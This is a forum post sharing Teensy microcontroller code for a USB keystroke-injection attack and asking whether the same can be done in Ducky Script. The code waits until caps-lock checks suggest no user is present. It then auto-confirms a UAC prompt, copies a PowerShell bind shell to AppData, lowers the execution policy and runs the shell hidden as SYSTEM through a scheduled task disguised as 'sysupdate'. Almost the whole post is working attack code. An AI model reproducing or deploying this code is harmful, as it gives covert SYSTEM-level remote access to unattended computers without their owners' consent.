Jump to content

Recommended Posts

Posted

I found this teensy code on leg3nd's website. It basically turns on the caps lock and waits to see if anyone turns it off. Then, if no one turns it off in a given amount of time, it executes the payload. I was wondering if there is anything in the duck script that can do something similar?

/* leg3nd's Windows powershell bindshell w/ system

Based on PhukdLib by irongeek, powershell bindshell by Rel1k

Detects user to implement attack based on capslock state

-MUST BE SET TO KEYBOARD + DISK(INTERNAL) TO WORK

*/

#include "usb_private.h"

#define send_enter() send_keys(KEY_ENTER, 0);

#define send_caps() send_keys(KEY_CAPS_LOCK, 0);

#define send_windows() send_keys(0, 128);

#define send_alt_y() send_keys(KEY_Y, MODIFIERKEY_ALT);

#define send_windows_r() send_keys(KEY_R, MODIFIERKEY_GUI);

int attacked = 0;

void setup(){

pinMode(11, OUTPUT);

delay(5000);

startDelay(30, 25); //startup blink

}

void loop(){

delay(9000); // Time between attack checks

if (!IsCapsOn()){send_caps();} //Turn on caps lock for trap

int userState = 0;

for (int m=9; m>=0; m--) { //Number of caps lock checks before attack, default = 10 checks

delay(3000); //Delay between caps lock check iterations

if (IsCapsOn()){

delay(3000); //Delay after caps lock is found to be on

} else {

userState = userState + 1;

}

}

if (userState>0){

delay(300000); //Time to wait if user is detected, 300K = 5min

} else {

AdminCmd("cmd /c for /F %i in ('WMIC logicaldisk where \"DriveType=2\" list brief ^| find \"Windows\"') do copy /Y %i\\bind.ps1 %APPDATA%\\bind.ps1 && powershell -Command Set-ExecutionPolicy RemoteSigned");

delay(200);

AdminCmd("schtasks /create /tn sysupdate /i /tr \"powershell -File %APPDATA%\\bind.ps1 -WindowStyle Hidden\" /sc once /ru system /st 23:59:59");

delay(200);

AdminCmd("schtasks /run /tn sysupdate");

delay(999999999); //Just chill, payload already executed (max 11.5 days)

}

}

//Execute command as administrator

void AdminCmd(char *SomeCommand) {

send_windows();

delay(1500); //Delay for start menu to come up

Keyboard.print(SomeCommand);

Keyboard.set_modifier(MODIFIERKEY_CTRL);

Keyboard.send_now();

Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);

Keyboard.send_now();

send_enter();

delay(1000); //Delay for UAC prompt

send_alt_y();

}

//LED key checking for caps lock

int ledkeys(void){

return int(keyboard_leds);

}

//Return the state of caps lock, regardless of other lights.

boolean IsCapsOn(){

if (ledkeys() == 2 || ledkeys() == 3 || ledkeys() == 6 || ledkeys() == 7){

return true;

} else {

return false;

}

}

//Key & Utility functions

void startDelay(int count, int dlay){ //debug testing light

for (int i=0; i<count; i++){

digitalWrite(11,HIGH);

delay(dlay);

digitalWrite(11,LOW);

delay(100);

}

}

void release_keys(){

Keyboard.set_key1(0);

Keyboard.set_modifier(0);

Keyboard.send_now();

delay(100);

}

void send_keys(int key, int modifier){

if(modifier)

Keyboard.set_modifier(modifier);

Keyboard.set_key1(key);

Keyboard.send_now();

delay(100);

release_keys();

}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...